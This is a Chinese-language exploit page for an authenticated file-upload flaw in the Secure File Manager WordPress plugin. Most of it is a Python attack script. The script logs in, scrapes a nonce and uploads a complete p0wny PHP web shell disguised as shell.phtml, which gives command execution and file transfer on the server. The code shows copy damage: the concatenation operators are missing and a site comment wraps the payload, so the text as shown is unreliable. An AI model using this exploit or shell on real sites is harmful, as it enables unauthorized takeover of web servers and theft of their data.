安全文件管理器 0day
描述:
在安全文件管理器 Wordpress 插件 V 2.9.3 和可能之前,经过身份验证的用户可以通过更改内容类型并将 .php 重命名为扩展名为 .phtml 来上传 php 文件
漏洞描述:
- 日期:10.07.2021
- 漏洞利用作者:Ron Jost (Hacker5preme)
- 供应商主页:https ://themexa.com/secure-file-manager-pro/
- 软件链接:https ://downloads.wordpress.org/plugin/secure-file-manager.zip
- 版本:所有版本
- 测试:Ubuntu 18.04
- CWE:CWE-434
- Ron Jost 发现的漏洞
import requests
import argparse
import json
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Secure File Manager - RCE (Authenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
print('[*] Starting Exploit:')
print('')
'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' target_ip ':' target_port wp_path 'wp-login.php'
# Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
# Body:
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
# Authenticate:
print('')
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
print('[ ] Authentication successfull !')
else:
print('[-] Authentication failed !')
exit()
'''
Retrieve wpnonce
'''
check_nonce_url = "http://" target_ip ':' target_port wp_path 'wp-admin/admin.php?page=sfm_file_manager'
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://" target_ip,
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
nonce_text = session.get(check_nonce_url, headers=header).text
nonce_text = nonce_text[nonce_text.find('"sfmpNonceKey":') 16:]
wp_nonce = nonce_text[:nonce_text.find('"')]
print(wp_nonce)
'''
Exploit:
'''
exploit_url = "http://" target_ip ':' target_port wp_path "wp-content/plugins/secure-file-manager//vendor/elfinder/php/connector.minimal.php"
exploit_headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Accept": "*/*",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://" target_ip wp_path "p-admin/admin.php?page=sfm_file_manager",
"Content-Type": "multipart/form-data; boundary=---------------------------331639371531181046941710326893",
"Origin": "http://192.168.0.38",
"Connection": "close"
}
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释
* exploit_data = "-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="reqid"rnrn17a9cc356393rn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="cmd"rnrnuploadrn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="target"rnrnl1_Lwrn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="_wpnonce"rnrn" wp_nonce "rn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="upload[]"; filename="shell.phtml"rnContent-Type: application/octet-streamrnrn<?phpnnfunction featureShell($cmd, $cwd) {n $stdout = array();nn if (preg_match("/^\s*cd\s*$/", $cmd)) {n // passn } elseif (preg_match("/^\s*cd\s (. )\s*(2>&1)?$/", $cmd)) {n chdir($cwd);n preg_match("/^\s*cd\s ([^\s] )\s*(2>&1)?$/", $cmd, $match);n chdir($match[1]);n } elseif (preg_match("/^\s*download\s [^\s] \s*(2>&1)?$/", $cmd)) {n chdir($cwd);n preg_match("/^\s*download\s ([^\s] )\s*(2>&1)?$/", $cmd, $match);n return featureDownload($match[1]);n } else {n chdir($cwd);n exec($cmd, $stdout);n }nn return array(n "stdout" => $stdout,n "cwd" => getcwd()n );n}nnfunction featurePwd() {n return array("cwd" => getcwd());n}nnfunction featureHint($fileName, $cwd, $type) {n chdir($cwd);n if ($type == 'cmd') {n $cmd = "compgen -c $fileName";n } else {n $cmd = "compgen -f $fileName";n }n $cmd = "/bin/bash -c \"$cmd\"";n $files = explode("\n", shell_exec($cmd));n return array(n 'files' => $files,n );n}nnfunction featureDownload($filePath) {n $file = @file_get_contents($filePath);n if ($file === FALSE) {n return array(n 'stdout' => array('File not found / no read permission.'),n 'cwd' => getcwd()n );n } else {n return array(n 'name' => basename($filePath),n 'file' => base64_encode($file)n );n }n}nnfunction featureUpload($path, $file, $cwd) {n chdir($cwd);n $f = @fopen($path, 'wb');n if ($f === FALSE) {n return array(n 'stdout' => array('Invalid path / no write permission.'),n 'cwd' => getcwd()n );n } else {n fwrite($f, base64_decode($file));n fclose($f);n return array(n 'stdout' => array('Done.'),n 'cwd' => getcwd()n );n }n}nnif (isset($_GET["feature"])) {nn $response = NULL;nn switch ($_GET["feature"]) {n case "shell":n $cmd = $_POST['cmd'];n if (!preg_match('/2>/', $cmd)) {n $cmd .= ' 2>&1';n }n $response = featureShell($cmd, $_POST["cwd"]);n break;n case "pwd":n $response = featurePwd();n break;n case "hint":n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);n break;n case 'upload':n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);n }nn header("Content-Type: application/json");n echo json_encode($response);n die();n}nn?><!DOCTYPE html>nn<html>nn <head>n <meta charset="UTF-8" />n <title>p0wny@shell:~#</title>n <meta name="viewport" content="width=device-width, initial-scale=1.0" />n <style>n html, body {n margin: 0;n padding: 0;n background: #333;n color: #eee;n font-family: monospace;n }nn *::-webkit-scrollbar-track {n border-radius: 8px;n background-color: #353535;n }nn *::-webkit-scrollbar {n width: 8px;n height: 8px;n }nn *::-webkit-scrollbar-thumb {n border-radius: 8px;n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);n background-color: #bcbcbc;n }nn #shell {n background: #222;n max-width: 800px;n margin: 50px auto 0 auto;n box-shadow: 0 0 5px rgba(0, 0, 0, .3);n font-size: 10pt;n display: flex;n flex-direction: column;n align-items: stretch;n }nn #shell-content {n height: 500px;n overflow: auto;n padding: 5px;n white-space: pre-wrap;n flex-grow: 1;n }nn #shell-logo {n font-weight: bold;n color: #FF4180;n text-align: center;n }nn @media (max-width: 991px) {n #shell-logo {n font-size: 6px;n margin: -25px 0;n }nn html, body, #shell {n height: 100%;n width: 100%;n max-width: none;n }nn #shell {n margin-top: 0;n }n }nn @media (max-width: 767px) {n #shell-input {n flex-direction: column;n }n }nn @media (max-width: 320px) {n #shell-logo {n font-size: 5px;n }n }nn .shell-prompt {n font-weight: bold;n color: #75DF0B;n }nn .shell-prompt > span {n color: #1BC9E7;n }nn #shell-input {n display: flex;n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);n border-top: rgba(255, 255, 255, .05) solid 1px;n }nn #shell-input > label {n flex-grow: 0;n display: block;n padding: 0 5px;n height: 30px;n line-height: 30px;n }nn #shell-input #shell-cmd {n height: 30px;n line-height: 30px;n border: none;n background: transparent;n color: #eee;n font-family: monospace;n font-size: 10pt;n width: 100%;n align-self: center;n }nn #shell-input div {n flex-grow: 1;n align-items: stretch;n }nn #shell-input input {n outline: none;n }n </style>nn <script>n var CWD = null;n var commandHistory = [];n var historyPosition = 0;n var eShellCmdInput = null;n var eShellContent = null;nn function _insertCommand(command) {n eShellContent.innerHTML = "\n\n";n eShellContent.innerHTML = '<span class=\"shell-prompt\">' genPrompt(CWD) '</span> ';n eShellContent.innerHTML = escapeHtml(command);n eShellContent.innerHTML = "\n";n eShellContent.scrollTop = eShellContent.scrollHeight;n }nn function _insertStdout(stdout) {n eShellContent.innerHTML = escapeHtml(stdout);n eShellContent.scrollTop = eShellContent.scrollHeight;n }nn function _defer(callback) {n setTimeout(callback, 0);n }nn function featureShell(command) {nn _insertCommand(command);n if (/^\s*upload\s [^\s] \s*$/.test(command)) {n featureUpload(command.match(/^\s*upload\s ([^\s] )\s*$/)[1]);n } else if (/^\s*clear\s*$/.test(command)) {n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffern eShellContent.innerHTML = '';n } else {n makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {n if (response.hasOwnProperty('file')) {n featureDownload(response.name, response.file)n } else {n _insertStdout(response.stdout.join("\n"));n updateCwd(response.cwd);n }n });n }n }nn function featureHint() {n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to completenn function _requestCallback(data) {n if (data.files.length <= 1) return; // no completionnn if (data.files.length === 2) {n if (type === 'cmd') {n eShellCmdInput.value = data.files[0];n } else {n var currentValue = eShellCmdInput.value;n eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);n }n } else {n _insertCommand(eShellCmdInput.value);n _insertStdout(data.files.join("\n"));n }n }nn var currentCmd = eShellCmdInput.value.split(" ");n var type = (currentCmd.length === 1) ? "cmd" : "file";n var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];nn makeRequest(n "?feature=hint",n {n filename: fileName,n cwd: CWD,n type: typen },n _requestCallbackn );nn }nn function featureDownload(name, file) {n var element = document.createElement('a');n element.setAttribute('href', 'data:application/octet-stream;base64,' file);n element.setAttribute('download', name);n element.style.display = 'none';n document.body.appendChild(element);n element.click();n document.body.removeChild(element);n _insertStdout('Done.');n }nn function featureUpload(path) {n var element = document.createElement('input');n element.setAttribute('type', 'file');n element.style.display = 'none';n document.body.appendChild(element);n element.addEventListener('change', function () {n var promise = getBase64(element.files[0]);n promise.then(function (file) {n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {n _insertStdout(response.stdout.join("\n"));n updateCwd(response.cwd);n });n }, function () {n _insertStdout('An unknown client-side error occurred.');n });n });n element.click();n document.body.removeChild(element);n }nn function getBase64(file, onLoadCallback) {n return new Promise(function(resolve, reject) {n var reader = new FileReader();n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };n reader.onerror = reject;n reader.readAsDataURL(file);n });n }nn function genPrompt(cwd) {n cwd = cwd || "~";n var shortCwd = cwd;n if (cwd.split("/").length > 3) {n var splittedCwd = cwd.split("/");n shortCwd = "xe2x80xa6/" splittedCwd[splittedCwd.length-2] "/" splittedCwd[splittedCwd.length-1];n }n return "p0wny@shell:<span title=\"" cwd "\">" shortCwd "</span>#";n }nn function updateCwd(cwd) {n if (cwd) {n CWD = cwd;n _updatePrompt();n return;n }n makeRequest("?feature=pwd", {}, function(response) {n CWD = response.cwd;n _updatePrompt();n });nn }nn function escapeHtml(string) {n return stringn .replace(/&/g, "&")n .replace(/</g, "<")n .replace(/>/g, ">");n }nn function _updatePrompt() {n var eShellPrompt = document.getElementById("shell-prompt");n eShellPrompt.innerHTML = genPrompt(CWD);n }nn function _onShellCmdKeyDown(event) {n switch (event.key) {n case "Enter":n featureShell(eShellCmdInput.value);n insertToHistory(eShellCmdInput.value);n eShellCmdInput.value = "";n break;n case "ArrowUp":n if (historyPosition > 0) {n historyPosition--;n eShellCmdInput.blur();n eShellCmdInput.value = commandHistory[historyPosition];n _defer(function() {n eShellCmdInput.focus();n });n }n break;n case "ArrowDown":n if (historyPosition >= commandHistory.length) {n break;n }n historyPosition ;n if (historyPosition === commandHistory.length) {n eShellCmdInput.value = "";n } else {n eShellCmdInput.blur();n eShellCmdInput.focus();n eShellCmdInput.value = commandHistory[historyPosition];n }n break;n case 'Tab':n event.preventDefault();n featureHint();n break;n }n }nn function insertToHistory(cmd) {n commandHistory.push(cmd);n historyPosition = commandHistory.length;n }nn function makeRequest(url, params, callback) {n function getQueryString() {n var a = [];n for (var key in params) {n if (params.hasOwnProperty(key)) {n a.push(encodeURIComponent(key) "=" encodeURIComponent(params[key]));n }n }n return a.join("&");n }n var xhr = new XMLHttpRequest();n xhr.open("POST", url, true);n xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");n xhr.onreadystatechange = function() {n if (xhr.readyState === 4 && xhr.status === 200) {n try {n var responseJson = JSON.parse(xhr.responseText);n callback(responseJson);n } catch (error) {n alert("Error while parsing response: " error);n }n }n };n xhr.send(getQueryString());n }nn document.onclick = function(event) {n event = event || window.event;n var selection = window.getSelection();n var target = event.target || event.srcElement;nn if (target.tagName === "SELECT") {n return;n }nn if (!selection.toString()) {n eShellCmdInput.focus();n }n };nn window.onload = function() {n eShellCmdInput = document.getElementById("shell-cmd");n eShellContent = document.getElementById("shell-content");n updateCwd();n eShellCmdInput.focus();n };n </script>n </head>nn <body>n <div id="shell">n <pre id="shell-content">n <div id="shell-logo">n ___ ____ _ _ _ _ _ <span></span>n _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>n| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>n| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>n| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>n|_| |___/ \____/ <span></span>n </div>n </pre>n <div id="shell-input">n <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>n <div>n <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>n </div>n </div>n </div>n </body>nn</html>nrn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="mtime[]"rnrn1621978291rn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="upload_path[]"rnrnl1_Lwrn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="dropWith"rnrn0rn-----------------------------331639371531181046941710326893--rn"
*/
x = session.post(exploit_url, headers=exploit_headers, data=exploit_data)
print(x.text)
print('')
print('[ ] Shell uploaded to: http://' target_ip ':' target_port wp_path '/shell.phtml')